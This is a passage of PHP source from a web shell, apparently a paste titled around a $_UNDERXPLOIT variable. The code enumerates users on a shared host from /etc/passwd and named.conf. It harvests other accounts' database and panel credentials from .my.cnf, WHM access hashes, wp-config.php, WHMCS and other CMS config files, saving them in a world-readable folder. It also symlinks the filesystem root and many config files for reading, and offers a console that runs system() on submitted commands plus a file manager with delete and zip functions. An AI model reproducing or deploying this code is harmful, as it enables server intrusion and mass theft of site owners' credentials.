  1518. style='width:70px'><span class='label-success'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></span> Md5 </td><td class='break'> : ".md5($_UNDERXPLOIT['text'])."</td><tr>
  1519. <td class='td-md5'
  1520. style='width:70px'><span class='label-success'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></span> Crc32 </td><td class='break'> : ".crc32($_UNDERXPLOIT['text'])."</td><tr>
  1521. <td class='td-md5' style='width:70px'><span class='label-success'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></span> Sha1 </td><td class='break'> : ".sha1($_UNDERXPLOIT['text'])."</td></table></div>");
  1522. break;
  1523.     }
  1524. }
  1525. echo("<div class='coL-option top'>
  1526.     <form action='?".x7."multihash&".x5.$dir."' method='post'>
  1527. <table style='width:100%'>
  1528.     <td style='width:20%'>Text :</td><td style='width:80%'>
  1529.     <input type='text' name='text' style='width:100%'>
  1530. </td><tr>
  1531. <td style='width:20%'>Hash :</td><td style='width:80%'><select name='id' style='width:100%'>
  1532. <option value='1'>Md5</option>
  1533. <option value='2'>Crc32</option>
  1534. <option value='3'>Sha1</option>
  1535. <option value='4'>All</option>
  1536. </select></td><tr><td style='width:20%'></td><td style='width:80%'>
  1537.     <input type='submit' value='Create' name='encrypt' class='btn-exe' style='width:100px'></td></table></form></div></div>");
  1538. break;
  1539.  
  1540.     case 'jumping':
  1541. echo '<div class="coL-panel"><table>
  1542. <td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">JUMPING SERVER</td></table></div>';
  1543. $i = 0;
  1544. $s_a = fopen("/etc/passwd", "r");
  1545. while($s_b = fgets($s_a)) {
  1546.     if($s_b == '' || !$s_a) {
  1547.          bacot("Can't Read [ /etc/passwd ]");
  1548.                  mtr("?".x5.$dir);
  1549.                  echo x9;
  1550.     } else {
  1551.         preg_match_all('/(.*?):x:/', $s_b, $s_c);
  1552.         foreach($s_c[1] as $s_d) {
  1553.             $s_e = "/home/$s_d/public_html";
  1554.             if(is_readable($s_e)) {
  1555.                 $i++;
  1556.                 $s_o = "<div class='coL-option'><table class='table-file' cellspacing='0'><td style='width:120px' class='td-file' style='padding:7px'>  <a href='?dir=$s_e'><span class='label-success'> <i class='zmdi zmdi-folder-outline zmdi-hc-fw'></i> </span> [ $s_d ]</a></td>";
  1557.                
  1558. switch (true) {
  1559.     case (is_writable($s_e)):
  1560.         $s_o = "<div class='coL-option'><table class='table-file' cellspacing='0'><td style='width:120px' class='td-file' style='padding:7px'> <span class='label-success'> <i class='zmdi zmdi-folder-outline zmdi-hc-fw'></i> </span> <a href='?dir=$s_e'><font color='red'>[ $s_d ]</font></a></td>";
  1561. }
  1562.                 echo $s_o;
  1563.                 $s_k = file_get_contents("/etc/named.conf");   
  1564.                 if($s_k == '') {
  1565.                      bacot('Server Not Found !!');
  1566.                      mtr("?".x5.$dir);
  1567.                       echo x9;
  1568.                 } else {
  1569.                     preg_match_all("#/var/named/(.*?).db#", $s_k, $s_v);
  1570.                     foreach($s_v[1] as $s_x) {
  1571.                         $s_g = posix_getpwuid(@fileowner("/etc/valiases/$s_x"));
  1572.                         $s_g = $s_g['name'];
  1573.            
  1574. if($s_g == $s_d) {
  1575.                             echo "<td class='td-file elip' style='padding:7px'><a href='http://$s_x'>http://$s_x</a> </td></table></div>"; break;}}}}}}}
  1576.            
  1577. switch ($i) {
  1578.     case 0;  mtr("? " .x5.$dir);
  1579.          bacot('Server not found'); print x9;
  1580. break;
  1581.     default:
  1582.         print "<div class='coL-option' style='padding:7px;margin-top:3px'>Total : <button class='lawb' style='width:60px;position:relative;top:0px'>".$i."</button></div></div>";
  1583.  
  1584. }
  1585. break;
  1586.  
  1587.     case 'config':
  1588.         $s_t = fopen("/etc/passwd", "r");
  1589.         $s_z = mkdir("_config", 0777);
  1590.         $s_s = "Options all\
  1591. Require None\
  1592. Satisfy Any";
  1593.     $s_d = fopen("_config/.htaccess","w");
  1594.     fwrite($s_d, $s_s);
  1595.     while($s_q = fgets($s_t)) {
  1596.         if($s_q == "" || !$s_t) {
  1597.     bacot ('Can\'t Read etc/passwd !!');
  1598.         } else {
  1599.             preg_match_all('/(.*?):x:/', $s_q, $s_y);
  1600.             foreach($s_y[1] as $s_p) {
  1601.                 $s_k = "/home/$s_p/public_html/";
  1602.                 if(is_readable($s_k)) {
  1603.                     $s_g = array(
  1604.                         "/home/$s_p/.my.cnf" => "cpanel",
  1605.                         "/home/$s_p/.accesshash" => "WHM-accesshash",
  1606.                         "/home/$s_p/public_html/bw-configs/config.ini" => "BosWeb",
  1607.                         "/home/$s_p/public_html/config/koneksi.php" => "Lokomedia",
  1608.                         "/home/$s_p/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  1609.                         "/home/$s_p/public_html/clientarea/configuration.php" => "WHMCS",
  1610.                         "/home/$s_p/public_html/whm/configuration.php" => "WHMCS",
  1611.                         "/home/$s_p/public_html/whmcs/configuration.php" => "WHMCS",
  1612.                         "/home/$s_p/public_html/forum/config.php" => "phpBB",
  1613.                         "/home/$s_p/public_html/sites/default/settings.php" => "Drupal",
  1614.                         "/home/$s_p/public_html/config/settings.inc.php" => "PrestaShop",
  1615.                         "/home/$s_p/public_html/app/etc/local.xml" => "Magento",
  1616.                         "/home/$s_p/public_html/joomla/configuration.php" => "Joomla",
  1617.                         "/home/$s_p/public_html/configuration.php" => "Joomla",
  1618.                         "/home/$s_p/public_html/wp/wp-config.php" => "WordPress",
  1619.                         "/home/$s_p/public_html/wordpress/wp-config.php" => "WordPress",
  1620.                         "/home/$s_p/public_html/wp-config.php" => "WordPress",
  1621.                         "/home/$s_p/public_html/admin/config.php" => "OpenCart",
  1622.                         "/home/$s_p/public_html/slconfig.php" => "Sitelok",
  1623.                         "/home/$s_p/public_html/application/config/database.php" => "Ellislab");
  1624.                     foreach($s_g as $s_h => $s_l) {
  1625.                         $s_r = file_get_contents($s_h);
  1626.                         if($s_r == '') {
  1627.                             print x9;
  1628.                         } else {
  1629.                             $fcS = fopen("_config/$s_p-$s_l.txt","w");
  1630.                             fputs($fcS,$s_r);
  1631.                         }}}}}}
  1632. bacot('Done');
  1633. print "<script>c('?".x5.$dir."/_config');</script>";
  1634. break;
  1635.  
  1636. case 'cpanel':
  1637. print '<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">CPANEL FINDER</td></table></div>';
  1638. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1) {
  1639.     $ar0=explode($marqueurDebutLien, $text);
  1640.     $ar1=explode($marqueurFinLien, $ar0[$i]);
  1641.     return trim($ar1[0]);
  1642. }
  1643. $d0mains = @file('/etc/named.conf');
  1644. switch (true) {
  1645.     case ($domains or $d0mains): switch (true) {
  1646.     case (scandir("/var/named")):
  1647.         print "<table><th class='th-file'> <center>Domain</center> </th><th class='th-file'> <center>Result</center></th></tr>";
  1648. $count=1; $dc = 0;
  1649. $list = scandir("/var/named");
  1650.     foreach($list as $domain) {
  1651. switch(true) {
  1652.     case (strpos($domain,".db")):
  1653.         $domain = str_replace('.db','',$domain);
  1654.         $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  1655.         $dirz = '/home/'.$owner['name'].'/.my.cnf';
  1656.         $path = getcwd();
  1657.  
  1658. switch (true) {
  1659.     case (is_readable($dirz)): copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
  1660.         $p = file_get_contents(''.$path.'/'.$owner['name'].'.txt');
  1661.         $password = entre2v2($p,'password="','"');
  1662. print "<tr>
  1663. <td class='td-file' style='width:150px'><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td>
  1664. <td class='td-file'><a class='a' href='".$owner['name'].".txt' target='_blank'>OPEN</a></td></tr>";
  1665. $dc++;
  1666.         }
  1667.     }
  1668. }
  1669.  
  1670. print '</table>';
  1671. $total = $dc;
  1672. print "<div class='coL-option' style='padding:7px;margin-top:3px'>Total Cpanel : <button class='lawb' style='width:60px;position:relative;top:0px'>".$total."</button></div></div>";
  1673.  
  1674. break;
  1675.     default: $d0mains = @file('/etc/named.conf');
  1676.     if($d0mains) {
  1677. print "<table><tr><th class='th-file'> <center>Domain</center> </th><th class='th-file'> <center>Result</center> </th></tr>";
  1678. $count=1;
  1679. $dc = 0;
  1680. $mck = array();
  1681. foreach($d0mains as $d0main){
  1682. switch (true) {
  1683.     case (@eregi('zone',$d0main)): preg_match_all('#zone "(.*)"#',$d0main,$domain);
  1684.         flush();
  1685. switch (true) {
  1686.     case (strlen(trim($domain[1][0])) >2):
  1687.             $mck[] = $domain[1][0];
  1688.         }
  1689.     }
  1690. }
  1691. $mck = array_unique($mck);
  1692. $usr = array();
  1693. $dmn = array();
  1694. foreach($mck as $o) {
  1695.     $files = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  1696.     $usr[] = $files['name'];
  1697.     $dmn[] = $o;
  1698. }
  1699. array_multisort($usr,$dmn);
  1700. $dt = file('/etc/passwd');
  1701. $passwd = array();
  1702. foreach($dt as $d) {
  1703.     $r = explode(':',$d);
  1704. switch (true) {
  1705.     case (strpos($r[5],'home')): $passwd[$r[0]] = $r[5];
  1706.     }
  1707. }
  1708. $l=0; $j=1;
  1709.     foreach($usr as $r) {
  1710.         $dirz = '/home/'.$r.'/.my.cnf';
  1711.         $path = getcwd();
  1712. switch (true) {
  1713.     case (is_readable($dirz)): copy($dirz, $path.'/'.$r.'.txt');
  1714.         $p = file_get_contents($path.'/'.$r.'.txt');
  1715.         $password = entre2v2($p,'password="','"');
  1716. print "<tr>
  1717.     <td class='td-file'><a target='_blank' href=http://".$dmn[$j-1]."/>".$dmn[$j-1]." </a></td>
  1718.     <td class='td-file'><a href='".$r.".txt'>OPEN</a> </center></td></tr>";
  1719. $dc++;
  1720.                 flush();
  1721.                 $l=$l?0:1;
  1722.                 $j++;
  1723.         }
  1724.     }
  1725. } print '</table>';
  1726. $total = $dc;
  1727.     print "<div class='coL-option' style='padding:7px;margin-top:3px'>Total Cpanel : <button class='lawb' style='width:60px;position:relative;top:0px'>".$total."</button></div></div>";
  1728. }
  1729. break;
  1730.     default: mtr('?'.x5.$dir);
  1731.     bacot('Permission denied'); print x9;
  1732. }
  1733. break;
  1734.  
  1735.     case 'symlink':
  1736. print '<div class="coL-panel"><table>
  1737. <td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">MULTIPLE SYMLINK</td></table></div>';
  1738.  
  1739. switch (true) {
  1740.     case (is_readable("/etc/named.conf")): $named = '<a href="?' . x7 . 'named.conf&dir='.$dir.'">OPEN</a>';
  1741. break;
  1742.     default: $named = '<font color="red">DISABLED</font>';
  1743. }
  1744.  
  1745. switch (true) {
  1746.     case (is_readable("/etc/valiases")): $valiases = '<a href="?' . x7 . 'valiases&dir='.$dir.'">OPEN</a>';
  1747. break;
  1748.     default: $valiases = '<font color="red">DISABLED</font>';
  1749. }
  1750.  
  1751. switch (true) {
  1752.     case (is_readable("/etc/passwd")): $passwd = '<a href="?' . x7 . 'passwd&dir='.$dir.'">OPEN</a>';
  1753. break;
  1754.     default : $passwd = '<font color="red">DISABLED</font>';
  1755. }
  1756.  
  1757. switch (true) {
  1758.     case (is_readable("/var/named")): $var = '<a href="?' . x7 . 'var&dir='.$dir.'">OPEN</a>';
  1759. break;
  1760.     default: $var = '<font color="red">DISABLED</font>';
  1761. }  
  1762.  
  1763.     print '<table class="table-file" cellspacing="0">';
  1764.     print '<th class="th-file">From</th><th class="th-file">Arrow</th><th class="th-file">Action</th>';
  1765.     print '<tr><td class="td-file" style="padding:7px"><span class="label-success"><i class="zmdi zmdi-folder-outline zmdi-hc-fw"></i></span> [ /etc/named.conf ]</td><td class="td-file"><center><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i></center></td><td class="td-file"><center>'.$named.'</a></center></td>';
  1766.     print '<tr><td class="td-file" style="padding:7px"><span class="label-success"><i class="zmdi zmdi-folder-outline zmdi-hc-fw"></i></span> [ /etc/valiases ]</td><td class="td-file""><center><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i></center></td><td class="td-file"><center>'.$valiases.'</a></center></td>';
  1767.     print '<tr><td class="td-file" style="padding:7px"><span class="label-success"><i class="zmdi zmdi-folder-outline zmdi-hc-fw"></i></span> [ /etc/passwd ]</td><td class="td-file"><center><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i></center></td><td class="td-file"><center>'.$passwd.'</a></center></td>';
  1768.     print '<tr><td class="td-file" style="padding:7px"><span class="label-success"><i class="zmdi zmdi-folder-outline zmdi-hc-fw"></i></span> [ /var/named/ ]</td><td class="td-file"><center><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i></center></td><td class="td-file"><center>'.$var.'</a></center></td>';
  1769.     print '</table></div>';
  1770.  
  1771. @mkdir('pee', 0777); @symlink("/", "pee/root");
  1772. $htaccss = "Options all
  1773. DirectoryIndex Sux.html
  1774. AddType text/plain .php
  1775. AddHandler server-parsed .php
  1776. AddType text/plain .html
  1777. AddHandler txt .html
  1778. Require None
  1779. Satisfy Any";
  1780. file_put_contents("pee/.htaccess",$htaccss);
  1781. $ms_2 = file_get_contents("/etc/passwd");
  1782. $ms_2z = explode("\n",$ms_2);
  1783.    
  1784.     foreach($ms_2z as $ms_3) {
  1785.         $ms_1 = explode(":",$ms_3);
  1786.         $ms_4 = posix_getcwd();
  1787.         $dr = explode("/",$ms_4);
  1788.  
  1789. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/wp-config.php',"pee/".$ms_1[0].'-WordPress.txt');
  1790. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/blog/wp-config.php',"pee/".$ms_1[0].'-WordPress.txt');
  1791. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/wp/wp-config.php',"pee/".$ms_1[0].'-WordPress.txt');
  1792. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/site/wp-config.php',"pee/".$ms_1[0].'-WordPress.txt');
  1793. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/config.php',"pee/".$ms_1[0].'-PhpBB.txt');
  1794. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/includes/config.php',"pee/".$ms_1[0].'-vBulletin.txt');
  1795. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/configuration.php',"pee/".$ms_1[0].'-Joomla.txt');
  1796. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/web/configuration.php',"pee/".$ms_1[0].'-Joomla.txt');
  1797. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/joomla/configuration.php',"pee/".$ms_1[0].'-Joomla.txt');
  1798. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/site/configuration.php',"pee/".$ms_1[0].'-Joomla.txt');
  1799. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/conf_global.php',"pee/".$ms_1[0].'-IPB.txt');
  1800. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/inc/config.php',"pee/".$ms_1[0].'-MyBB.txt');
  1801. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/Settings.php',"pee/".$ms_1[0].'-SMF.txt');
  1802. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/sites/default/settings.php',"pee/".$ms_1[0].'-Drupal.txt');
  1803. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/e107_config.php',"pee/".$ms_1[0].'-e107.txt');
  1804. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/datas/config.php',"pee/".$ms_1[0].'-Seditio.txt');
  1805. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/includes/configure.php',"pee/".$ms_1[0].'-osCommerce.txt');
  1806. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/client/configuration.php',"pee/".$ms_1[0].'-WHMCS.txt');
  1807. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/clientes/configuration.php',"pee/".$ms_1[0].'-WHMCS.txt');
  1808. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/support/configuration.php',"pee/".$ms_1[0].'-WHMCS.txt');
  1809. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/supportes/configuration.php',"pee/".$ms_1[0].'-WHMCS.txt');
  1810. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/whmcs/configuration.php',"pee/".$ms_1[0].'-WHMCS.txt');
  1811. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/domain/configuration.php',"pee/".$ms_1[0].'-WHMCS.txt');
  1812. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/hosting/configuration.php',"pee/".$ms_1[0].'-WHMCS.txt');
  1813. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/whmc/configuration.php',"pee/".$ms_1[0].'-WHMCS.txt');
  1814. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/billing/configuration.php',"pee/".$ms_1[0].'-WHMCS.txt');
  1815. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/portal/configuration.php',"pee/".$ms_1[0].'-WHMCS.txt');
  1816. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/order/configuration.php',"pee/".$ms_1[0].'-WHMCS.txt');
  1817. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/clientarea/configuration.php',"pee/".$ms_1[0].'-WHMCS.txt');
  1818. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/domains/configuration.php',"pee/".$ms_1[0].'-WHMCS.txt'); }
  1819. break;
  1820.  
  1821.     case 'named.conf': switch (true) {
  1822.     case (is_readable("/etc/named.conf")):
  1823. print '<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">SYMLINK [ ETC/NAMED.CONF ]</td></table></div>';
  1824. print '<table class="table-file" cellspacing="0">
  1825.                 <th class="th-file">Website</th>
  1826.                 <th class="th-file" style="width:60px">User</th>
  1827.                 <th class="th-file" style="width:60px">Action</th>';
  1828. $named = file_get_contents("/etc/named.conf");
  1829. preg_match_all('%zone \"(.*)\" {%', $named, $domains);
  1830.     foreach($domains[1] as $domain) {
  1831.         $domain = trim($domain); $i += 1;
  1832.         $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  1833.         print "<tr><td class='td-file elip' style='padding:7px'> <span class='label-success'><i class='zmdi zmdi-globe zmdi-hc-fw'></i></span>  <a href='http://".$domain." '>".$domain."</a></td><td class='td-file'><center><font color='#1D9D73'>".$owner['name']."</font></center></td><td class='td-file'><center><a href='pee/root".$owner['dir']."/".$dr[3]."' target='_blank'>OPEN</a></center></td>";
  1834. }
  1835. print "</table><div class='coL-option' style='padding:7px;margin-top:3px'>Total Domain : <button class='lawb' style='width:60px;position:relative;top:0px'>".$i."</button></div></div>";
  1836. break;
  1837.     default: print "<tr><td class='td-file'>can't read [ /etc/named.conf ]</td></tr>";
  1838. }
  1839. break;
  1840.  
  1841.     case 'valiases': switch (true) {
  1842.     case (is_readable("/etc/valiases")):
  1843. print '<div class="coL-panel"><table>
  1844. <td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">SYMLINK [ ETC/VALIASES ]</td></table></div>';
  1845. print '<table class="table-file" cellspacing="0">
  1846.                 <th class="th-file">Website</th>
  1847.                 <th class="th-file" style="width:60px">User</th>
  1848.                 <th class="th-file" style="width:60px">Action</th>';
  1849. $list = scandir("/etc/valiases");
  1850.     foreach($list as $domain) { $i += 1;
  1851.         $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  1852. print "<tr><td class='td-file elip' style='padding:7px'> <span class='label-success'><i class='zmdi zmdi-globe zmdi-hc-fw'></i></span> <a href='http://".$domain."'>".$domain."</a></td><center><td class='td-file'><font color='#1D9D73'>".$owner['name']."</font></center></td><td class='td-file'><center><a href='pee/root".$owner['dir']."/".$dr[3]."' target='_blank'>OPEN</a></center></td>";
  1853. }
  1854. print "</table><div class='coL-option' style='padding:7px;margin-top:3px'>Total Domain : <button class='lawb' style='width:60px;position:relative;top:0px'>".$i."</button></div></div>";
  1855. break;
  1856.     default: print "<tr><td class='td-file'>can't read [ /etc/valiases ]</td></tr>";
  1857. }
  1858. break;
  1859.  
  1860.     case 'passwd':
  1861. $etc = file_get_contents("/etc/passwd");
  1862. $etcz = explode("\n",$etc);
  1863.     switch (true) {
  1864.     case (is_readable("/etc/passwd")):
  1865. print '<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">SYMLINK [ ETC/PASSWD ]</td></table></div>';
  1866. print '<table class="table-file">
  1867.                 <th class="th-file">Website</th>
  1868.                 <th class="th-file" style="width:60px">User</th>
  1869.                 <th class="th-file" style="width:60px">Action</th>';
  1870. $list = scandir("/var/named");
  1871.     foreach($etcz as $etz) {
  1872.         $etcc = explode(":",$etz);
  1873.             foreach($list as $domain) {
  1874.     switch (true) { case (strpos($domain,".db")):
  1875.         $domain = str_replace('.db','',$domain);
  1876.         $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  1877.     switch (true) { case ($owner['name'] == $etcc[0]): $i += 1;
  1878.         print "<tr><td class='td-file elip'> <span class='label-success'><i class='zmdi zmdi-globe zmdi-hc-fw'></i></span> <a href='http://".$domain." '>".$domain."</a></td>
  1879. <td class='td-file'><center><font color='#1D9D73'>".$owner['name']."</font></center></td>
  1880. <td class='td-file'><center><a href='pee/root".$owner['dir']."/".$dr[3]."' target='_blank'>OPEN</a></center></td>";
  1881.             }
  1882.         }
  1883.     }
  1884. }
  1885. print "</table><div class='coL-option' style='padding:7px;margin-top:3px'>Total Domain : <button class='lawb' style='width:60px;position:relative;top:0px'>".$i."</button></div></div>";
  1886. }
  1887. break;
  1888.  
  1889.     case 'var': switch (true) {
  1890.     case (is_readable("/var/named")):
  1891. print '<div class="coL-panel"><table>
  1892. <td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">SYMLINK [ VAR/NAMED ]</td></table></div>';
  1893. print '<table class="table-file">
  1894.                 <th class="th-file">Website</th>
  1895.                 <th class="th-file" style="width:60px">User</th>
  1896.                 <th class="th-file" style="width:60px">Action</th>';
  1897. $ms_5 = scandir("/var/named");
  1898.     foreach($ms_5 as $ms_6) {
  1899.         switch (true) {
  1900.     case (strpos($ms_6,".db")): $i += 1;
  1901.         $ms_6 = str_replace('.db','',$ms_6);
  1902.         $owner = posix_getpwuid(fileowner("/etc/valiases/".$ms_6));
  1903. print "<tr><td class='td-file elip'> <span class='label-success'><i class='zmdi zmdi-globe zmdi-hc-fw'></i></span> <a href='http://".$ms_6." '>".$ms_6."</a></td>
  1904. <td class='td-file'><center><font color='#1D9D73'>".$owner['name']."</font></center></td>
  1905. <td class='td-file'><center><a href='pee/root".$owner['dir']."/".$dr[3]."' target='_blank'>OPEN</a></center></td>";
  1906.   }
  1907. }
  1908. print "</table><div class='coL-option' style='padding:7px;margin-top:3px'>Total Domain : <button class='lawb' style='width:60px;position:relative;top:0px'>".$i."</button></div></div>";
  1909. break;
  1910.     default: print "<tr><td class='td-file'>can't read [ /var/named ]</td></table>";
  1911. }
  1912. break;
  1913.  
  1914.     case 'cmd': print '<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">CONSOLE</td></table></div>';
  1915.     print '<div class="coL-option">';
  1916.     print '<pre style="font-family: Play;min-height:200px;font-size:14px;padding:7px" class="label-success">';
  1917. if(isset($_UNDERXPLOIT['cmd']) && $_UNDERXPLOIT['cmd']!='') {
  1918.         $exec = jmbt(system($_UNDERXPLOIT['cmd'].' 2>&1'));
  1919. switch ($exec) {
  1920.     case NULL:
  1921.     header('location: ?' . x5 . $dir);
  1922. break;
  1923.     default:
  1924.     }
  1925. }
  1926. print '</pre>
  1927. <script type="text/javascript"> function gp() {
  1928.     if(document.getElementById("csl").value == ""){'; s('Enter your command');
  1929.         print 'return false;
  1930.     } document.getElementById("egv").submit();
  1931. } </script>
  1932. <table style="margin-top:7px" cellspacing="0"><form method="POST" action="?' . x7 . 'cmd&' . x5 . $dir . '">
  1933.     <td align="center" style="width:10%"><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i></td>
  1934.     <td style="width:70%;padding-left:3px;padding-right:3px"><input type="text" placeholder="$" name="cmd" id="csl"></td><td style="width:20%;text-align:right"><button type="submit" class="btn-exe" onclick="gp(); return false;"><i class="zmdi zmdi-long-arrow-return zmdi-hc-fw"></i></button></form></td>
  1935.     </table></div></div>';
  1936. break;
  1937.    
  1938.     case 'error': print '<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">FILE MANAGER</td></table></div>';
  1939.         bacot('Permission denied'); print x9;
  1940. break;
  1941.  
  1942.     default:
  1943. $ddir = @getcwd();
  1944.     if (isset($_UNDERXPLOIT['from']))
  1945.  @chdir($_UNDERXPLOIT['from']);
  1946.     $cwd = @getcwd();
  1947.  
  1948. switch ($os) {
  1949.     case ('win'):
  1950.         $ddir = str_replace("\\", "/", $ddir);
  1951.         $cwd = str_replace("\\", "/", $cwd);
  1952. break;
  1953. } if ($cwd[strlen($cwd) - 1] != '/') $cwd.= '/';
  1954. function hs($str) {
  1955. switch (true) {
  1956.     case (function_exists("scandir")): return scandir($str);
  1957. break;
  1958.     default: $cdm = opendir($str);
  1959.         while (false !== ($filename = readdir($cdm))) $data[] = $filename;
  1960.             return $data;
  1961.     }
  1962. }
  1963.     if (!empty($_COOKIE['target'])) $_COOKIE['target'] = @unserialize($_COOKIE['target']);
  1964.     if (!empty($_UNDERXPLOIT['hcx'])) {
  1965. switch ($_UNDERXPLOIT['hcx']) {
  1966.     case 'delete': function deleteDir($path) {
  1967.         $path = (substr($path, -1) == '/') ? $path : $path . '/';
  1968.         $cdm = opendir($path);
  1969. while (($β–Ÿ = readdir($cdm)) !== false) {
  1970.         $β–Ÿ = $path . $β–Ÿ;
  1971.     if ((basename($β–Ÿ) == "..") || (basename($β–Ÿ) == ".")) continue;
  1972.         $type = filetype($β–Ÿ);
  1973.     if ($type == "dir") deleteDir($β–Ÿ); else @unlink($β–Ÿ);
  1974.     }
  1975.         closedir($cdm);
  1976.         @rmdir($path);
  1977.     }
  1978.  
  1979. if (is_array(@$_UNDERXPLOIT['target']))
  1980.         foreach($_UNDERXPLOIT['target'] as $f) {
  1981.     if ($f == '..') continue;
  1982.             $f = urldecode($f);
  1983.     if (is_dir($f)) deleteDir($f); else @unlink($f);
  1984.     }
  1985. break;
  1986.    
  1987.     case 'paste':
  1988.         if ($_COOKIE['act'] == 'copy') {
  1989.             function copas($c, $s, $d) {
  1990.         if (is_dir($c . $s)) { mkdir($d . $s);
  1991.                 $h = @opendir($c . $s);
  1992.         while (($f = @readdir($h)) !== false)
  1993.         if (($f != ".") and ($f != "..")) copas($c . $s . '/', $f, $d . $s . '/');
  1994.     } else if (is_file($c . $s)) @copy($c . $s, $d . $s);
  1995. }
  1996.     foreach($_COOKIE['target'] as $f) copas($_COOKIE['from'], $f, $GLOBALS['cwd']);
  1997. }
  1998.     elseif ($_COOKIE['act'] == 'move') {
  1999.         function mopas($c, $s, $d) {
  2000.             if (is_dir($c . $s)) { mkdir($d . $s);
  2001.                 $h = @opendir($c . $s);
  2002.             while (($f = @readdir($h)) !== false)
  2003.         if (($f != ".") and ($f != "..")) copas($c . $s . '/', $f, $d . $s . '/');
  2004.     }  elseif (@is_file($c . $s)) @copy($c . $s, $d . $s);
  2005. }
  2006.     foreach($_COOKIE['target'] as $f) @rename($_COOKIE['from'] . $f, $GLOBALS['cwd'] . $f);
  2007. }
  2008.     elseif ($_COOKIE['act'] == 'zip') {
  2009.         if (class_exists('ZipArchive')) {
  2010.             $zip = new ZipArchive();
  2011.         if ($zip -> open($_UNDERXPLOIT['xpoz'], 1)) {
  2012.             chdir($_COOKIE['from']);
  2013.     foreach($_COOKIE['target'] as $f) {
  2014.         if ($f == '..') continue;
  2015.         if (@is_file($_COOKIE['from'] . $f)) $zip -> addFile($_COOKIE['from'] . $f, $f);
  2016.                 elseif (@is_dir($_COOKIE['from'] . $f)) {
  2017.                     $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
  2018.                         foreach($iterator as $key => $value) {
  2019.                             $zip -> addFile(realpath($key) , $key);
  2020.                                 }
  2021.                             }
  2022.                         }
  2023.         chdir($GLOBALS['cwd']);
  2024.             $zip -> close();
  2025.                     }
  2026.                 }
  2027.             }
  2028.     unset($_COOKIE['target']);
  2029.     setcookie('target', '', time() - 3600);
  2030. break;
  2031.     default:
  2032. switch (true) {
  2033.     case (!empty($_UNDERXPLOIT['hcx'])):
  2034.                 vb('act', $_UNDERXPLOIT['hcx']);
  2035.                 vb('target', serialize(@$_UNDERXPLOIT['target']));
  2036.                 vb('from', @$_UNDERXPLOIT['from']);
  2037.             }
  2038. break;
  2039.     }
  2040. }
  2041. print '<script type="text/javascript"> function m1s() {
  2042. if(document.getElementById("act").value == "") {';
  2043.     s('Select action');
  2044.         print 'return false;
  2045.     }
  2046.     document.getElementById("sks").submit();
  2047.   }
  2048. </script>
  2049.     <form name="data" action="?dir=' . $dir . '" method="POST" style="margin:0px"><div class="coL-panel"><table>
  2050.     <td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">FILE MANAGER</td></table></div>';
  2051.  
